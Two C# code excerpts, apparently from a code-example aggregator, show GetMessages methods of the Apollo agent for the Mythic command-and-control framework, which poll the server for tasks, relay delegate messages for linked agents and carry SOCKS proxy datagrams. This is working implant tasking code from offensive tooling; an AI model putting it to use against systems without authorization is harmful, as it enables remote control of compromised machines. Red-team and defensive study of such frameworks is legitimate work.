Example #1
0
            public override Structs.TaskQueue GetMessages(Apollo.Agent agent)
            {
                Structs.TaskQueue result;
                List <Task>       finalTaskList = new List <Task>();
                List <Structs.DelegateMessage> finalDelegateList = new List <Structs.DelegateMessage>();

                Structs.CheckTaskingRequest req = new Structs.CheckTaskingRequest()
                {
                    action       = "get_tasking",
                    tasking_size = 1
                };
                if (DelegateMessageRequestQueue.Count > 0)
                {
                    DelegateMessageRequestMutex.WaitOne();
                    req.delegates = DelegateMessageRequestQueue.ToArray();
                    DelegateMessageRequestQueue.Clear();
                    //DelegateMessageQueue = new List<Dictionary<string, string>>();
                    DelegateMessageRequestMutex.ReleaseMutex();
                }
                // Could add delegate post messages
                string json      = JsonConvert.SerializeObject(req);
                string taskingId = Guid.NewGuid().ToString();

                if (Send(taskingId, json))
                {
                    string response = (string)Inbox.GetMessage(taskingId);
                    Mythic.Structs.CheckTaskingResponse resp = JsonConvert.DeserializeObject <Mythic.Structs.CheckTaskingResponse>(response);

                    foreach (Task task in resp.tasks)
                    {
                        Debug.WriteLine("[-] CheckTasking - NEW TASK with ID: " + task.id);
                        finalTaskList.Add(task);
                    }

                    if (resp.delegates != null)
                    {
                        foreach (Dictionary <string, string> delegateMessage in resp.delegates)
                        {
                            foreach (KeyValuePair <string, string> item in delegateMessage)
                            {
                                finalDelegateList.Add(new Structs.DelegateMessage()
                                {
                                    UUID    = item.Key,
                                    Message = item.Value
                                });
                            }
                        }
                    }
                }

                result = new Structs.TaskQueue()
                {
                    Tasks     = finalTaskList.ToArray(),
                    Delegates = finalDelegateList.ToArray()
                };
                //result.Add("tasks", finalTaskList.ToArray());
                //result.Add("delegates", finalDelegateList.ToArray());

                //SCTask task = JsonConvert.DeserializeObject<SCTask>(Post(json));
                return(result);
            }
Example #2
0
        /// <summary>
        /// Check Apfell endpoint for new task
        /// </summary>
        /// <returns>CaramelTask with the next task to execute</returns>
        override public Mythic.Structs.TaskQueue GetMessages(Apollo.Agent agent)
        {
            Stopwatch sw = new Stopwatch();

            sw.Start();
            //DebugWriteLine("Attempting to send SOCKS datagrams...");
            //SendSocksDatagrams();
            sw.Stop();
            DebugWriteLine($"SendSocksDatagrams took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to run.");
            sw.Restart();
            //DebugWriteLine("Sent all SOCKS datagrams!");
            TaskQueue              response                 = new TaskQueue();
            List <Task>            finalTaskList            = new List <Task>();
            List <DelegateMessage> finalDelegateMessageList = new List <DelegateMessage>();
            CheckTaskingRequest    req = new CheckTaskingRequest()
            {
                action       = "get_tasking",
                tasking_size = -1
            };

            if (DelegateMessageRequestQueue.Count > 0)
            {
                DelegateMessageRequestMutex.WaitOne();
                req.delegates = DelegateMessageRequestQueue.ToArray();
                DelegateMessageRequestQueue.Clear();
                DelegateMessageRequestMutex.ReleaseMutex();
            }
            else
            {
                req.delegates = new Dictionary <string, string>[] { };
            }
            // Could add delegate post messages
            string json = JsonConvert.SerializeObject(req);
            string id   = Guid.NewGuid().ToString();

            if (Send(id, json))
            {
                string returnMsg = (string)Inbox.GetMessage(id);
                //JObject test = (JObject)JsonConvert.DeserializeObject(returnMsg);
                ////Dictionary<string, object>[] testDictTasks = test.Value<Dictionary<string, object>[]>("tasks");
                //Task[] testTasks = test.Value<Task[]>("tasks");
                Mythic.Structs.CheckTaskingResponse resp = JsonConvert.DeserializeObject <Mythic.Structs.CheckTaskingResponse>(returnMsg);
                if (resp.tasks != null)
                {
                    foreach (Task task in resp.tasks)
                    {
                        Debug.WriteLine("[-] CheckTasking - NEW TASK with ID: " + task.id);
                        finalTaskList.Add(task);
                    }
                }
                if (resp.delegates != null)
                {
                    foreach (Dictionary <string, string> delmsg in resp.delegates)
                    {
                        string uuid = delmsg.Keys.First();
                        finalDelegateMessageList.Add(new DelegateMessage()
                        {
                            UUID    = uuid,
                            Message = delmsg[uuid]
                        });
                    }
                }
                if (resp.socks != null)
                {
                    response.SocksDatagrams = resp.socks;
                }
            }
            response.Delegates = finalDelegateMessageList.ToArray();
            response.Tasks     = finalTaskList.ToArray();
            sw.Stop();
            DebugWriteLine($"Get tasking took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to run.");
            //SCTask task = JsonConvert.DeserializeObject<SCTask>(Post(json));
            return(response);
        }